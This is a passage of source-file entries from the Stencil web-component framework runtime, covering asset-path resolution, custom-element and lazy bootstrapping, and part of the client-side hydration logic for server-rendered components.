    "path": "src/runtime/asset-path.ts",
    "content": "import { plt, win } from '@platform';\n\nexport const getAssetPath = (path: string) => {\n  const assetUrl = new URL(path, plt.$resourcesUrl$);\n  return assetUrl.origin !== win.location.origin ? assetUrl.href : assetUrl.pathname;\n};\n\nexport const setAssetPath = (path: string) => (plt.$resourcesUrl$ = path);\n"
  },
  {
    "path": "src/runtime/bootstrap-custom-element.ts",
    "content": "import { BUILD } from '@app-data';\nimport {\n  addHostEventListeners,\n  consoleError,\n  forceUpdate,\n  getHostRef,\n  registerHost,\n  styles,\n  supportsShadow,\n  transformTag,\n} from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS } from '../utils/constants';\nimport { createShadowRoot } from '../utils/shadow-root';\nimport { connectedCallback } from './connected-callback';\nimport { disconnectedCallback } from './disconnected-callback';\nimport {\n  patchChildSlotNodes,\n  patchCloneNode,\n  patchPseudoShadowDom,\n  patchSlotAppendChild,\n  patchTextContent,\n} from './dom-extras';\nimport { computeMode } from './mode';\nimport { proxyComponent } from './proxy-component';\nimport { PROXY_FLAGS } from './runtime-constants';\nimport { attachStyles, getScopeId, hydrateScopedToShadow, registerStyle } from './styles';\n\nexport const defineCustomElement = (Cstr: any, compactMeta: d.ComponentRuntimeMetaCompact) => {\n  customElements.define(\n    transformTag(compactMeta[1]),\n    proxyCustomElement(Cstr, compactMeta) as CustomElementConstructor,\n  );\n};\n\nexport const proxyCustomElement = (Cstr: any, compactMeta: d.ComponentRuntimeMetaCompact) => {\n  const cmpMeta: d.ComponentRuntimeMeta = {\n    $flags$: compactMeta[0],\n    $tagName$: compactMeta[1],\n  };\n  try {\n    if (BUILD.member) {\n      cmpMeta.$members$ = compactMeta[2];\n    }\n    if (BUILD.hostListener) {\n      cmpMeta.$listeners$ = compactMeta[3];\n    }\n    if (BUILD.propChangeCallback) {\n      cmpMeta.$watchers$ = Cstr.$watchers$;\n      cmpMeta.$deserializers$ = Cstr.$deserializers$;\n      cmpMeta.$serializers$ = Cstr.$serializers$;\n    }\n    if (BUILD.reflect) {\n      cmpMeta.$attrsToReflect$ = [];\n    }\n    if (BUILD.shadowDom && !supportsShadow && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n      // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n      cmpMeta.$flags$ |= CMP_FLAGS.needsShadowDomShim;\n    }\n\n    if (!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) && cmpMeta.$flags$ & CMP_FLAGS.hasSlot) {\n      if (BUILD.experimentalSlotFixes) {\n        patchPseudoShadowDom(Cstr.prototype);\n      } else {\n        if (BUILD.slotChildNodesFix) {\n          patchChildSlotNodes(Cstr.prototype);\n        }\n        if (BUILD.cloneNodeFix) {\n          patchCloneNode(Cstr.prototype);\n        }\n        if (BUILD.appendChildSlotFix) {\n          patchSlotAppendChild(Cstr.prototype);\n        }\n        if (BUILD.scopedSlotTextContentFix && cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation) {\n          patchTextContent(Cstr.prototype);\n        }\n      }\n    } else if (BUILD.cloneNodeFix) {\n      patchCloneNode(Cstr.prototype);\n    }\n\n    if (BUILD.hydrateClientSide && BUILD.shadowDom) {\n      hydrateScopedToShadow();\n    }\n\n    const originalConnectedCallback = Cstr.prototype.connectedCallback;\n    const originalDisconnectedCallback = Cstr.prototype.disconnectedCallback;\n    Object.assign(Cstr.prototype, {\n      __hasHostListenerAttached: false,\n      __registerHost() {\n        registerHost(this, cmpMeta);\n      },\n      connectedCallback() {\n        if (!this.__hasHostListenerAttached) {\n          const hostRef = getHostRef(this);\n          if (!hostRef) {\n            return;\n          }\n          addHostEventListeners(this, hostRef, cmpMeta.$listeners$, false);\n          this.__hasHostListenerAttached = true;\n        }\n\n        connectedCallback(this);\n        if (originalConnectedCallback) {\n          originalConnectedCallback.call(this);\n        }\n      },\n      disconnectedCallback() {\n        disconnectedCallback(this);\n        if (originalDisconnectedCallback) {\n          originalDisconnectedCallback.call(this);\n        }\n      },\n      __attachShadow() {\n        if (supportsShadow) {\n          if (!this.shadowRoot) {\n            createShadowRoot.call(this, cmpMeta);\n          } else {\n            // we want to check to make sure that the mode for the shadow\n            // root already attached to the element (i.e. created via DSD)\n            // is set to 'open' since that's the only mode we support\n            if (this.shadowRoot.mode !== 'open') {\n              throw new Error(\n                `Unable to re-use existing shadow root for ${cmpMeta.$tagName$}! Mode is set to ${this.shadowRoot.mode} but Stencil only supports open shadow roots.`,\n              );\n            }\n          }\n        } else {\n          (this as any).shadowRoot = this;\n        }\n      },\n    });\n    Object.defineProperty(Cstr, 'is', {\n      value: cmpMeta.$tagName$,\n      configurable: true,\n    });\n\n    return proxyComponent(Cstr, cmpMeta, PROXY_FLAGS.isElementConstructor | PROXY_FLAGS.proxyState);\n  } catch (e) {\n    consoleError(e);\n    return Cstr;\n  }\n};\n\nexport const forceModeUpdate = (elm: d.RenderNode) => {\n  if (BUILD.style && BUILD.mode && !BUILD.lazyLoad) {\n    const mode = computeMode(elm);\n    const hostRef = getHostRef(elm);\n\n    if (hostRef && hostRef.$modeName$ !== mode) {\n      const cmpMeta = hostRef.$cmpMeta$;\n      const oldScopeId = elm['s-sc'];\n      const scopeId = getScopeId(cmpMeta, mode);\n      const style = (elm.constructor as any).style[mode];\n      const flags = cmpMeta.$flags$;\n      if (style) {\n        if (!styles.has(scopeId)) {\n          registerStyle(scopeId, style, !!(flags & CMP_FLAGS.shadowDomEncapsulation));\n        }\n        hostRef.$modeName$ = mode;\n        elm.classList.remove(oldScopeId + '-h', oldScopeId + '-s');\n        attachStyles(hostRef);\n        forceUpdate(elm);\n      }\n    }\n  }\n};\n"
  },
  {
    "path": "src/runtime/bootstrap-lazy.ts",
    "content": "import { BUILD } from '@app-data';\nimport { getHostRef, plt, registerHost, supportsShadow, transformTag, win } from '@platform';\nimport { addHostEventListeners } from '@runtime';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS } from '../utils/constants';\nimport { queryNonceMetaTagContent } from '../utils/query-nonce-meta-tag-content';\nimport { createShadowRoot } from '../utils/shadow-root';\nimport { connectedCallback } from './connected-callback';\nimport { disconnectedCallback } from './disconnected-callback';\nimport {\n  patchChildSlotNodes,\n  patchCloneNode,\n  patchPseudoShadowDom,\n  patchSlotAppendChild,\n  patchTextContent,\n} from './dom-extras';\nimport { hmrStart } from './hmr-component';\nimport { createTime, installDevTools } from './profile';\nimport { proxyComponent } from './proxy-component';\nimport { HYDRATED_CSS, PLATFORM_FLAGS, PROXY_FLAGS, SLOT_FB_CSS } from './runtime-constants';\nimport { hydrateScopedToShadow } from './styles';\nimport { appDidLoad } from './update-component';\nexport { setNonce } from '@platform';\n\nexport const bootstrapLazy = (lazyBundles: d.LazyBundlesRuntimeData, options: d.CustomElementsDefineOptions = {}) => {\n  if (BUILD.profile && performance.mark) {\n    performance.mark('st:app:start');\n  }\n  installDevTools();\n\n  if (!win.document) {\n    console.warn('Stencil: No document found. Skipping bootstrapping lazy components.');\n    return;\n  }\n\n  const endBootstrap = createTime('bootstrapLazy');\n  const cmpTags: string[] = [];\n  const exclude = options.exclude || [];\n  const customElements = win.customElements;\n  const head = win.document.head;\n  const metaCharset = /*@__PURE__*/ head.querySelector('meta[charset]');\n  const dataStyles = /*@__PURE__*/ win.document.createElement('style');\n  const deferredConnectedCallbacks: { connectedCallback: () => void }[] = [];\n  let appLoadFallback: any;\n  let isBootstrapping = true;\n\n  Object.assign(plt, options);\n  plt.$resourcesUrl$ = new URL(options.resourcesUrl || './', win.document.baseURI).href;\n  if (BUILD.asyncQueue) {\n    if (options.syncQueue) {\n      plt.$flags$ |= PLATFORM_FLAGS.queueSync;\n    }\n  }\n  if (BUILD.hydrateClientSide) {\n    // If the app is already hydrated there is not point to disable the\n    // async queue. This will improve the first input delay\n    plt.$flags$ |= PLATFORM_FLAGS.appLoaded;\n  }\n\n  if (BUILD.hydrateClientSide && BUILD.shadowDom) {\n    hydrateScopedToShadow();\n  }\n\n  let hasSlotRelocation = false;\n  lazyBundles.map((lazyBundle) => {\n    lazyBundle[1].map((compactMeta) => {\n      const cmpMeta: d.ComponentRuntimeMeta = {\n        $flags$: compactMeta[0],\n        $tagName$: compactMeta[1],\n        $members$: compactMeta[2],\n        $listeners$: compactMeta[3],\n      };\n\n      // Check if we are using slots outside the shadow DOM in this component.\n      // We'll use this information later to add styles for `slot-fb` elements\n      if (cmpMeta.$flags$ & CMP_FLAGS.hasSlotRelocation) {\n        hasSlotRelocation = true;\n      }\n\n      if (BUILD.member) {\n        cmpMeta.$members$ = compactMeta[2];\n      }\n      if (BUILD.hostListener) {\n        cmpMeta.$listeners$ = compactMeta[3];\n      }\n      if (BUILD.reflect) {\n        cmpMeta.$attrsToReflect$ = [];\n      }\n      if (BUILD.propChangeCallback) {\n        cmpMeta.$watchers$ = compactMeta[4] ?? {};\n        cmpMeta.$serializers$ = compactMeta[5] ?? {};\n        cmpMeta.$deserializers$ = compactMeta[6] ?? {};\n      }\n      if (BUILD.shadowDom && !supportsShadow && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n        // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n        cmpMeta.$flags$ |= CMP_FLAGS.needsShadowDomShim;\n      }\n      // TODO: deprecated in favour of `setTagTransformer` and `transformTag`. Remove `BUILD.transformTagName` & `transformTagName` in 5.0\n      const tagName =\n        BUILD.transformTagName && options.transformTagName\n          ? options.transformTagName(cmpMeta.$tagName$)\n          : transformTag(cmpMeta.$tagName$);\n      const HostElement = class extends HTMLElement {\n        ['s-p']: Promise<void>[];\n        ['s-rc']: (() => void)[];\n        hasRegisteredEventListeners = false;\n\n        // StencilLazyHost\n        constructor(self: HTMLElement) {\n          // @ts-ignore\n          super(self);\n          self = this;\n\n          registerHost(self, cmpMeta);\n          if (BUILD.shadowDom && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n            // this component is using shadow dom\n            // and this browser supports shadow dom\n            // add the read-only property \"shadowRoot\" to the host element\n            // adding the shadow root build conditionals to minimize runtime\n            if (supportsShadow) {\n              if (!self.shadowRoot) {\n                // we don't want to call `attachShadow` if there's already a shadow root\n                // attached to the component\n                createShadowRoot.call(self, cmpMeta);\n              } else {\n                // we want to check to make sure that the mode for the shadow\n                // root already attached to the element (i.e. created via DSD)\n                // is set to 'open' since that's the only mode we support\n                if (self.shadowRoot.mode !== 'open') {\n                  throw new Error(\n                    `Unable to re-use existing shadow root for ${cmpMeta.$tagName$}! Mode is set to ${self.shadowRoot.mode} but Stencil only supports open shadow roots.`,\n                  );\n                }\n              }\n            } else if (!BUILD.hydrateServerSide && !('shadowRoot' in self)) {\n              (self as any).shadowRoot = self;\n            }\n          }\n        }\n\n        connectedCallback() {\n          const hostRef = getHostRef(this);\n          if (!hostRef) {\n            return;\n          }\n\n          /**\n           * The `connectedCallback` lifecycle event can potentially be fired multiple times\n           * if the element is removed from the DOM and re-inserted. This is not a common use case,\n           * but it can happen in some scenarios. To prevent registering the same event listeners\n           * multiple times, we will only register them once.\n           */\n          if (!this.hasRegisteredEventListeners) {\n            this.hasRegisteredEventListeners = true;\n            addHostEventListeners(this, hostRef, cmpMeta.$listeners$, false);\n          }\n\n          if (appLoadFallback) {\n            clearTimeout(appLoadFallback);\n            appLoadFallback = null;\n          }\n          if (isBootstrapping) {\n            // connectedCallback will be processed once all components have been registered\n            deferredConnectedCallbacks.push(this);\n          } else {\n            plt.jmp(() => connectedCallback(this));\n          }\n        }\n\n        disconnectedCallback() {\n          plt.jmp(() => disconnectedCallback(this));\n\n          /**\n           * Clear up references within the `$vnode$` object to the DOM\n           * node that was removed. This is necessary to ensure that these\n           * references used as keys in the `hostRef` object can be properly\n           * garbage collected.\n           *\n           * Also remove the reference from `deferredConnectedCallbacks` array\n           * otherwise removed instances won't get garbage collected.\n           */\n          plt.raf(() => {\n            const hostRef = getHostRef(this);\n            if (!hostRef) {\n              return;\n            }\n            const i = deferredConnectedCallbacks.findIndex((host) => host === this);\n            if (i > -1) {\n              deferredConnectedCallbacks.splice(i, 1);\n            }\n            if (hostRef?.$vnode$?.$elm$ instanceof Node && !hostRef.$vnode$.$elm$.isConnected) {\n              delete hostRef.$vnode$.$elm$;\n            }\n          });\n        }\n\n        componentOnReady() {\n          return getHostRef(this)?.$onReadyPromise$;\n        }\n      };\n\n      if (!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) && cmpMeta.$flags$ & CMP_FLAGS.hasSlot) {\n        if (BUILD.experimentalSlotFixes) {\n          patchPseudoShadowDom(HostElement.prototype);\n        } else {\n          if (BUILD.slotChildNodesFix) {\n            patchChildSlotNodes(HostElement.prototype);\n          }\n          if (BUILD.cloneNodeFix) {\n            patchCloneNode(HostElement.prototype);\n          }\n          if (BUILD.appendChildSlotFix) {\n            patchSlotAppendChild(HostElement.prototype);\n          }\n          if (BUILD.scopedSlotTextContentFix && cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation) {\n            patchTextContent(HostElement.prototype);\n          }\n        }\n      } else if (BUILD.cloneNodeFix) {\n        patchCloneNode(HostElement.prototype);\n      }\n\n      // if the component is formAssociated we need to set that on the host\n      // element so that it will be ready for `attachInternals` to be called on\n      // it later on\n      if (BUILD.formAssociated && cmpMeta.$flags$ & CMP_FLAGS.formAssociated) {\n        (HostElement as any).formAssociated = true;\n      }\n\n      if (BUILD.hotModuleReplacement) {\n        // if we're in an HMR dev build then we need to set up the callback\n        // which will carry out the work of actually replacing the module for\n        // this particular component\n        ((HostElement as any).prototype as d.HostElement)['s-hmr'] = function (hmrVersionId: string) {\n          hmrStart(this, cmpMeta, hmrVersionId);\n        };\n      }\n\n      cmpMeta.$lazyBundleId$ = lazyBundle[0];\n\n      if (!exclude.includes(tagName) && !customElements.get(tagName)) {\n        cmpTags.push(tagName);\n        customElements.define(\n          tagName,\n          proxyComponent(HostElement as any, cmpMeta, PROXY_FLAGS.isElementConstructor) as any,\n        );\n      }\n    });\n  });\n\n  // Only bother generating CSS if we have components\n  // TODO(STENCIL-1118): Add test cases for CSS content based on conditionals\n  if (cmpTags.length > 0) {\n    // Add styles for `slot-fb` elements if any of our components are using slots outside the Shadow DOM\n    if (BUILD.slotRelocation && hasSlotRelocation) {\n      dataStyles.textContent += SLOT_FB_CSS;\n    }\n\n    // Add hydration styles\n    if (BUILD.invisiblePrehydration && (BUILD.hydratedClass || BUILD.hydratedAttribute)) {\n      dataStyles.textContent += cmpTags.sort() + HYDRATED_CSS;\n    }\n\n    // If we have styles, add them to the DOM\n    if (dataStyles.innerHTML.length) {\n      dataStyles.setAttribute('data-styles', '');\n\n      // Apply CSP nonce to the style tag if it exists\n      const nonce = plt.$nonce$ ?? queryNonceMetaTagContent(win.document);\n      if (nonce != null) {\n        dataStyles.setAttribute('nonce', nonce);\n      }\n\n      // Insert the styles into the document head\n      // NOTE: this _needs_ to happen last so we can ensure the nonce (and other attributes) are applied\n      head.insertBefore(dataStyles, metaCharset ? metaCharset.nextSibling : head.firstChild);\n    }\n  }\n\n  // Process deferred connectedCallbacks now all components have been registered\n  isBootstrapping = false;\n  if (deferredConnectedCallbacks.length) {\n    deferredConnectedCallbacks.map((host) => host.connectedCallback());\n  } else {\n    if (BUILD.profile) {\n      plt.jmp(() => (appLoadFallback = setTimeout(appDidLoad, 30, 'timeout')));\n    } else {\n      plt.jmp(() => (appLoadFallback = setTimeout(appDidLoad, 30)));\n    }\n  }\n  // Fallback appLoad event\n  endBootstrap();\n};\n"
  },
  {
    "path": "src/runtime/client-hydrate.ts",
    "content": "import { BUILD } from '@app-data';\nimport { getHostRef, plt, transformTag, win } from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS } from '../utils/constants';\nimport { internalCall, patchSlottedNode } from './dom-extras';\nimport { createTime } from './profile';\nimport {\n  COMMENT_NODE_ID,\n  CONTENT_REF_ID,\n  HYDRATE_CHILD_ID,\n  HYDRATE_ID,\n  NODE_TYPE,\n  ORG_LOCATION_ID,\n  SLOT_NODE_ID,\n  TEXT_NODE_ID,\n  VNODE_FLAGS,\n} from './runtime-constants';\nimport { addSlotRelocateNode, patchSlotNode } from './slot-polyfill-utils';\nimport { getScopeId } from './styles';\nimport { newVNode } from './vdom/h';\n\n/**\n * Takes an SSR rendered document, as annotated by 'vdom-annotations.ts' and:\n *\n * 1) Recreate an accurate VDOM which is fed to 'vdom-render.ts'. A failure to do so can cause hydration errors; extra renders, duplicated nodes\n * 2) Add shadowDOM trees to their respective #document-fragment\n * 3) Move forwarded, slotted nodes out of shadowDOMs\n * 4) Add meta nodes to non-shadow DOMs and their 'slotted' nodes\n *\n * @param hostElm The element to hydrate.\n * @param tagName The element's tag name.\n * @param hostId The host ID assigned to the element by the server. e.g. `s-id=\"1\"`\n * @param hostRef The host reference for the element.\n */\nexport const initializeClientHydrate = (\n  hostElm: d.HostElement,\n  tagName: string,\n  hostId: string,\n  hostRef: d.HostRef,\n) => {\n  const endHydrate = createTime('hydrateClient', tagName);\n  const shadowRoot = hostElm.shadowRoot;\n  // children placed by SSR within this component but don't necessarily belong to it.\n  // We need to keep tabs on them so we can move them to the right place later\n  const childRenderNodes: RenderNodeData[] = [];\n  // nodes representing a `<slot>` element\n  const slotNodes: RenderNodeData[] = [];\n  // nodes that have been slotted from outside the component\n  const slottedNodes: SlottedNodes[] = [];\n  // nodes that make up this component's shadowDOM\n  const shadowRootNodes: d.RenderNode[] = BUILD.shadowDom && shadowRoot ? [] : null;\n  // The root VNode for this component\n  const vnode: d.VNode = newVNode(tagName, null);\n  vnode.$elm$ = hostElm;\n\n  let scopeId: string;\n  if (BUILD.scoped) {\n    const cmpMeta = hostRef.$cmpMeta$;\n    if (cmpMeta && cmpMeta.$flags$ & CMP_FLAGS.needsScopedEncapsulation && hostElm['s-sc']) {\n      scopeId = hostElm['s-sc'];\n      hostElm.classList.add(scopeId + '-h');\n    } else if (hostElm['s-sc']) {\n      delete hostElm['s-sc'];\n    }\n  }\n\n  if (win.document && (!plt.$orgLocNodes$ || !plt.$orgLocNodes$.size)) {\n    // This is the first pass over of this whole document;\n    // does a scrape to construct a 'bare-bones' tree of what elements we have and where content has been moved from\n    initializeDocumentHydrate(win.document.body, (plt.$orgLocNodes$ = new Map()));\n  }\n\n  hostElm[HYDRATE_ID] = hostId;\n  hostElm.removeAttribute(HYDRATE_ID);\n\n  hostRef.$vnode$ = clientHydrate(\n    vnode,\n    childRenderNodes,\n    slotNodes,\n    shadowRootNodes,\n    hostElm,\n    hostElm,\n    hostId,\n    slottedNodes,\n  );\n\n  let crIndex = 0;\n  const crLength = childRenderNodes.length;\n  let childRenderNode: RenderNodeData;\n\n  // Steps through the child nodes we found.\n  // If moved from an original location (by nature of being rendered in SSR markup) we might be able to move it back there now,\n  // so slotted nodes don't get added to internal shadowDOMs\n  for (crIndex; crIndex < crLength; crIndex++) {\n    childRenderNode = childRenderNodes[crIndex];\n    const orgLocationId = childRenderNode.$hostId$ + '.' + childRenderNode.$nodeId$;\n    // The original location of this node\n    const orgLocationNode = plt.$orgLocNodes$.get(orgLocationId);\n    const node = childRenderNode.$elm$ as d.RenderNode;\n\n    if (!shadowRoot) {\n      node['s-hn'] = transformTag(tagName).toUpperCase();\n\n      if (childRenderNode.$tag$ === 'slot') {\n        // If this is a virtual 'slot', add it's Content-position Reference now.\n        // If we don't, `vdom-render.ts` will try to add nodes to it (and because it may be a comment node, it will error)\n        node['s-cr'] = hostElm['s-cr'];\n      }\n    } else if (\n      childRenderNode.$tag$?.toString().includes('-') &&\n      childRenderNode.$tag$ !== 'slot-fb' &&\n      !childRenderNode.$elm$.shadowRoot\n    ) {\n      // if this child is a non-shadow component being added to a shadowDOM,\n      // let's find and add its styles to the shadowRoot, so we don't get a visual flicker\n      const cmpMeta = getHostRef(childRenderNode.$elm$);\n      if (cmpMeta) {\n        const scopeId = getScopeId(\n          cmpMeta.$cmpMeta$,\n          BUILD.mode ? childRenderNode.$elm$.getAttribute('s-mode') : undefined,\n        );\n        const styleSheet = win.document.querySelector(`style[sty-id=\"${scopeId}\"]`);\n\n        if (styleSheet) {\n          shadowRootNodes.unshift(styleSheet.cloneNode(true) as d.RenderNode);\n        }\n      }\n    }\n\n    if (childRenderNode.$tag$ === 'slot') {\n      childRenderNode.$name$ = childRenderNode.$elm$['s-sn'] || (childRenderNode.$elm$ as any)['name'] || null;\n      if (childRenderNode.$children$) {\n        childRenderNode.$flags$ |= VNODE_FLAGS.isSlotFallback;\n\n        if (!childRenderNode.$elm$.childNodes.length) {\n          // idiosyncrasy with slot fallback nodes during SSR + `serializeShadowRoot: false`:\n          // the slot node is created here (in `addSlot()`) via a comment node,\n          // but the children aren't moved into it. Let's do that now\n          childRenderNode.$children$.forEach((c) => {\n            childRenderNode.$elm$.appendChild(c.$elm$);\n          });\n        }\n      } else {\n        childRenderNode.$flags$ |= VNODE_FLAGS.isSlotReference;\n      }\n    }\n\n    if (orgLocationNode && orgLocationNode.isConnected) {\n      if (orgLocationNode.parentElement.shadowRoot && orgLocationNode['s-en'] === '') {\n        // if this node is within a shadowDOM, with an original location home\n        // we're safe to move it now\n        orgLocationNode.parentNode.insertBefore(node, orgLocationNode.nextSibling);\n      }\n      // Remove original location / slot reference comment now.\n      // we'll handle it via `addSlotRelocateNode` later\n      orgLocationNode.parentNode.removeChild(orgLocationNode);\n\n      if (!shadowRoot) {\n        // Add the Original Order of this node.\n        // We'll use it to make sure slotted nodes get added in the correct order\n        node['s-oo'] = parseInt(childRenderNode.$nodeId$);\n      }\n    }\n    // Remove the original location from the map\n    if (orgLocationNode && !orgLocationNode['s-id']) {\n      plt.$orgLocNodes$.delete(orgLocationId);\n    }\n  }\n\n  const hosts: d.HostElement[] = [];\n  const snLen = slottedNodes.length;\n  let snIndex = 0;\n  let slotGroup: SlottedNodes;\n  let snGroupIdx: number;\n  let snGroupLen: number;\n  let slottedItem: SlottedNodes[0];\n  let currentPos = 0;\n\n  // Loops through all the slotted nodes we found while stepping through this component.\n  // creates slot relocation nodes (non-shadow) or moves nodes to their new home (shadow)\n  for (snIndex; snIndex < snLen; snIndex++) {\n    slotGroup = slottedNodes[snIndex];\n\n    if (!slotGroup || !slotGroup.length) continue;\n\n    snGroupLen = slotGroup.length;\n    snGroupIdx = 0;\n\n    for (snGroupIdx; snGroupIdx < snGroupLen; snGroupIdx++) {\n      slottedItem = slotGroup[snGroupIdx];\n\n      if (!hosts[slottedItem.hostId as any]) {\n        // Cache this host for other grouped slotted nodes\n        hosts[slottedItem.hostId as any] = plt.$orgLocNodes$.get(slottedItem.hostId);\n      }\n      // This *shouldn't* happen as we collect all the custom elements first in `initializeDocumentHydrate`\n      if (!hosts[slottedItem.hostId as any]) continue;\n\n      const hostEle = hosts[slottedItem.hostId as any];\n\n      if (hostEle.shadowRoot && slottedItem.node.parentElement !== hostEle) {\n        // shadowDOM. This slotted node got left behind.\n        // Move the item to the element root for native slotting\n        // insert node after the previous node in the slotGroup\n        hostEle.insertBefore(slottedItem.node, slotGroup[snGroupIdx - 1]?.node?.nextSibling);\n      }\n\n      // This node is either slotted in a non-shadow host, OR *that* host is nested in a non-shadow host\n      if (!hostEle.shadowRoot || !shadowRoot) {\n        // Try to set an appropriate Content-position Reference (CR) node for this host element\n\n        if (!slottedItem.slot['s-cr']) {\n          // Is a CR already set on the host?\n          slottedItem.slot['s-cr'] = hostEle['s-cr'];\n\n          if (!slottedItem.slot['s-cr'] && hostEle.shadowRoot) {\n            // Host has shadowDOM - just use the host itself as the CR for native slotting\n            slottedItem.slot['s-cr'] = hostEle;\n          } else {\n            // If all else fails - just set the CR as the first child\n            // (9/10 if node['s-cr'] hasn't been set, the node will be at the element root)\n            slottedItem.slot['s-cr'] = ((hostEle as any).__childNodes || hostEle.childNodes)[0];\n          }\n        }\n        // Create our 'Original Location' node\n        addSlotRelocateNode(slottedItem.node, slottedItem.slot, false, slottedItem.node['s-oo'] || currentPos);\n\n        if (\n          slottedItem.node.parentElement?.shadowRoot &&\n          slottedItem.node['getAttribute'] &&\n          slottedItem.node.getAttribute('slot')\n        ) {\n          // Remove the `slot` attribute from the slotted node:\n          // if it's projected from a scoped component into a shadowRoot it's slot attribute will cause it to be hidden.\n          // scoped components use the `s-sn` attribute to identify slotted nodes\n          slottedItem.node.removeAttribute('slot');\n        }\n\n        if (BUILD.experimentalSlotFixes) {\n          // patch this node for accessors like `nextSibling` (et al)\n          patchSlottedNode(slottedItem.node);\n        }\n      }\n      // Empty text nodes are never accounted on the server (they don't get a comment node, or a positional id)\n      // So let's manually increment their position counter for them, keeping them in the correct order in the slot\n      currentPos = (slottedItem.node['s-oo'] || currentPos) + 1;\n    }\n  }\n\n  if (BUILD.scoped && scopeId && slotNodes.length) {\n    slotNodes.forEach((slot) => {\n      // Host is `scoped: true` - add the slotted scoped class to the slot parent\n      slot.$elm$.parentElement.classList.add(scopeId + '-s');\n    });\n  }\n\n  if (BUILD.shadowDom && shadowRoot && !shadowRoot.childNodes.length) {\n    // For `scoped` shadowDOM rendering (not DSD);\n    // Add all the root nodes in the shadowDOM (a root node can have a whole nested DOM tree)\n    let rnIdex = 0;\n    const rnLen = shadowRootNodes.length;\n    if (rnLen) {\n      for (rnIdex; rnIdex < rnLen; rnIdex++) {\n        const node = shadowRootNodes[rnIdex];\n\n        /**\n         * in apps with a lot of components the `shadowRootNodes` array can be modified while iterating over it\n         * so we need to check if the node is still in the array before appending it to avoid any errors like:\n         *\n         *   TypeError: Failed to execute 'appendChild' on 'Node': parameter 1 is not of type 'Node'\n         */\n        if (node) {\n          shadowRoot.appendChild(node);\n        }\n      }\n\n      Array.from(hostElm.childNodes).forEach((node) => {\n        // don't remove slotted or original location nodes\n        if (typeof (node as d.RenderNode)['s-en'] !== 'string' && typeof (node as d.RenderNode)['s-sn'] !== 'string') {\n          if (node.nodeType === NODE_TYPE.ElementNode && (node as HTMLElement).slot && (node as HTMLElement).hidden) {\n            // this is a slotted node that doesn't have a home ... yet.\n            // we can safely leave it be, native behavior will mean it's hidden\n            (node as HTMLElement).removeAttribute('hidden');\n          } else if (node.nodeType === NODE_TYPE.CommentNode && !node.nodeValue) {\n            // During `scoped` shadowDOM rendering, there's a bunch of comment nodes used for positioning / empty text nodes.\n            // Let's tidy them up now to stop frameworks complaining about DOM mismatches.\n            node.parentNode.removeChild(node);\n          }\n        }\n      });\n    }\n  }\n\n  hostRef.$hostElement$ = hostElm;\n  endHydrate();\n};\n\n/**\n * Recursively constructs the virtual node tree for a host element and its children.\n * The tree is constructed by parsing the annotations set on the nodes by the server (`vdom-annotations.ts`).\n *\n * In addition to constructing the VNode tree, we also track information about the node's descendants:\n * - which are slots\n * - which should exist in the shadow root\n * - which are nodes that should be rendered as children of the parent node\n *\n * @param parentVNode The vNode representing the parent node.\n * @param childRenderNodes An array of all child nodes in the parent's node tree.\n * @param slotNodes An array of all slot nodes in the parent's node tree.\n * @param shadowRootNodes An array of nodes that should be rendered in the shadowDOM of the parent.\n * @param hostElm The parent element.\n * @param node The node to construct the vNode tree for.\n * @param hostId The host ID assigned to the element by the server.\n * @param slottedNodes - nodes that have been slotted\n * @returns - the constructed VNode\n */\nconst clientHydrate = (\n  parentVNode: d.VNode,\n  childRenderNodes: RenderNodeData[],\n  slotNodes: RenderNodeData[],\n  shadowRootNodes: d.RenderNode[],\n  hostElm: d.HostElement,\n  node: d.RenderNode,\n  hostId: string,\n  slottedNodes: SlottedNodes[] = [],\n) => {\n  let childNodeType: string;\n  let childIdSplt: string[];\n  let childVNode: RenderNodeData;\n  let i: number;\n  const scopeId = hostElm['s-sc'];\n\n  if (node.nodeType === NODE_TYPE.ElementNode) {\n    childNodeType = (node as HTMLElement).getAttribute(HYDRATE_CHILD_ID);\n    if (childNodeType) {\n      // Node data from the element's attribute:\n      // `${hostId}.${nodeId}.${depth}.${index}`\n      childIdSplt = childNodeType.split('.');\n\n      if (childIdSplt[0] === hostId || childIdSplt[0] === '0') {\n        childVNode = createSimpleVNode({\n          $flags$: 0,\n          $hostId$: childIdSplt[0],\n          $nodeId$: childIdSplt[1],\n          $depth$: childIdSplt[2],\n          $index$: childIdSplt[3],\n          $tag$: node.tagName.toLowerCase(),\n          $elm$: node,\n          // If we don't add the initial classes to the VNode, the first `vdom-render.ts` patch\n          // won't try to reconcile them. Classes set on the node will be blown away.\n          $attrs$: { class: node.className || '' },\n        });\n\n        childRenderNodes.push(childVNode);\n        node.removeAttribute(HYDRATE_CHILD_ID);\n\n        // This is a new child VNode so ensure its parent VNode has the VChildren array\n        if (!parentVNode.$children$) {\n          parentVNode.$children$ = [];\n        }\n\n        if (BUILD.scoped && scopeId && childIdSplt[0] === hostId) {\n          // Host is `scoped: true` - add that flag to the child.\n          // It's used in 'set-accessor.ts' to make sure our scoped class is present\n          node['s-si'] = scopeId;\n          childVNode.$attrs$.class += ' ' + scopeId;\n        }\n\n        // Test if this element was 'slotted' or is a 'slot' (with fallback). Recreate node attributes\n        const slotName = childVNode.$elm$.getAttribute('s-sn');\n        if (typeof slotName === 'string') {\n          if (childVNode.$tag$ === 'slot-fb') {\n            // This is a slot node. Set it up and find any assigned slotted nodes\n            addSlot(\n              slotName,\n              childIdSplt[2],\n              childVNode,\n              node,\n              parentVNode,\n              childRenderNodes,\n              slotNodes,\n              shadowRootNodes,\n              slottedNodes,\n            );\n\n            if (BUILD.scoped && scopeId) {\n              // Host is `scoped: true` - a slot-fb node\n              // never goes through 'set-accessor.ts' so add the class now\n              node.classList.add(scopeId);\n            }\n          }\n          childVNode.$elm$['s-sn'] = slotName;\n          childVNode.$elm$.removeAttribute('s-sn');\n        }\n        if 